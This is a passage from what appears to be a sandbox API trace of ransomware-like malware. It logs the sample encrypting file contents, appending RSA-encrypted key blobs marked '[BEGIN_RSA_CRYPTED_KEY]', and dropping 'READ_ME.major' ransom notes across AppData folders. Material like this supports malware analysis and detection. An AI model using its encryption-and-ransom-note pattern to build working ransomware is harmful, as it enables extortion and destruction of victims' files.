nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.422] SetFilePointer (in: hFile=0xa80, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.422] WriteFile (in: hFile=0xa80, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.422] SetFilePointer (in: hFile=0xa80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.422] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.422] WriteFile (in: hFile=0xa80, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.422] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.422] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.423] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.423] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="n8/jIqxf+YgpwjGqaJSA+SsowzogAaAcCTs27AFwlSFO8THmGc/ssdyKhGljUR9G\nuk4Ss+amKOCo97NR3M9zVnbVL0LC7QK6n0nUP/vzcqCZfa/FjieD6MCsN8hj1xHX\nyB9ikLVqjIFq6o4ghHmRp+UI0EWF/0Z+m2zzaPZKL3PCQzxTfIxr6Qhz4/Mtp8wq\nforwSkpJ6zbwrVTBQGlPewGD4UsL5FqINyRyGgIj3jFdvFXDZhL1ygmhViZPcDKL\nP1qN72Ao/ojvjxM2be+SnvGesGiuzNsoPx/7NuerAvUHMQvIhYHJSL4vl0IOaWSc\nnzlXd6vo6JTpOiIaioRlcg==\n", pcchString=0x2e3f9a8) returned 1 [0194.423] WriteFile (in: hFile=0xa80, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.423] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.423] WriteFile (in: hFile=0xa80, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.423] CloseHandle (hObject=0xa80) returned 1 [0194.426] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.426] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x2f8cae0 [0194.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0194.426] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa80 [0194.427] GetFileSizeEx (in: hFile=0xa80, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d1e0 [0194.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d1f0 [0194.427] ReadFile (in: hFile=0xa80, lpBuffer=0x59d1e0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.427] SetFilePointer (in: hFile=0xa80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.427] WriteFile (in: hFile=0xa80, lpBuffer=0x59d1f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.427] SetFilePointer (in: hFile=0xa80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.428] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.428] WriteFile (in: hFile=0xa80, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.430] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.430] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="E6lo7jm5mIO4059YI+P+Rrw/JgXtJgX8vAoP+iQtMK+TPoIncKHWL+K62dcOTp0T\nGtcI0yM7Kkn95NnI8fYemf2b5NYcK9WXFpP7wemSPqEvwwxW69158glRMsYUZHjF\nLMrrF/Efe2Uqx+UPCxsiP1/BFjgndZ11JsI0yGZdpj8zTpaOBW1Azki5wG5tCAi0\nmbEpv3X8K5qA7xeMjEE7IXOYM2dKXaNAHNBsntPAsFO8KoEeNimJHYOqFo/E898H\ntV6hKewKLgoFWMZSX/xkjRd8KXiXEWeVdYo6b8tcW2VcjEoZyCniuHbCQqJ7eSEM\nRVSU83fi0AyqQBQOhgpBJA==\n", pcchString=0x2e3f9a8) returned 1 [0194.430] WriteFile (in: hFile=0xa80, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.430] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.430] WriteFile (in: hFile=0xa80, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.430] CloseHandle (hObject=0xa80) returned 1 [0194.432] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cd38 [0194.432] FindNextFileW (in: hFindFile=0x2f2cd38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.432] FindNextFileW (in: hFindFile=0x2f2cd38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b942ab2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b942ab2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.432] FindNextFileW (in: hFindFile=0x2f2cd38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b942ab2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b942ab2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66b318 [0194.433] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc91cbd05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cb78 [0194.433] FindNextFileW (in: hFindFile=0x2f2cb78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc91cbd05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.433] FindNextFileW (in: hFindFile=0x2f2cb78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b942ab2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b942ab2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.433] FindNextFileW (in: hFindFile=0x2f2cb78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b942ab2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b942ab2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b942ab2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89248 [0194.433] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b9b5305, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c938 [0194.433] FindNextFileW (in: hFindFile=0x2f2c938, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b9b5305, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.433] FindNextFileW (in: hFindFile=0x2f2c938, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0194.433] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8c [0194.434] WriteFile (in: hFile=0xa8c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.435] CloseHandle (hObject=0xa8c) returned 1 [0194.436] FindNextFileW (in: hFindFile=0x2f2c938, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0194.436] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8c [0194.437] WriteFile (in: hFile=0xa8c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.438] CloseHandle (hObject=0xa8c) returned 1 [0194.438] FindNextFileW (in: hFindFile=0x2f2c938, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0194.438] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8c [0194.439] WriteFile (in: hFile=0xa8c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.440] CloseHandle (hObject=0xa8c) returned 1 [0194.440] FindNextFileW (in: hFindFile=0x2f2c938, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b9b5305, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b9b5305, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.440] FindNextFileW (in: hFindFile=0x2f2c938, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0194.440] FindNextFileW (in: hFindFile=0x2f2c938, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83105dc2, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0194.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89638 [0194.440] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ca78 [0194.441] FindNextFileW (in: hFindFile=0x2f2ca78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.441] FindNextFileW (in: hFindFile=0x2f2ca78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9dbae7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b9dbae7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.441] FindNextFileW (in: hFindFile=0x2f2ca78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9dbae7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b9dbae7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85140 [0194.441] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ccb8 [0194.441] FindNextFileW (in: hFindFile=0x2f2ccb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.441] FindNextFileW (in: hFindFile=0x2f2ccb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9dbae7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b9dbae7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x2f2ccb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9dbae7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b9dbae7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85b50 [0194.442] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8306d465, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8306d465, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ce38 [0194.442] FindNextFileW (in: hFindFile=0x2f2ce38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8306d465, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8306d465, ftLastAccessTime.dwHighDateTime=0x1d32744, 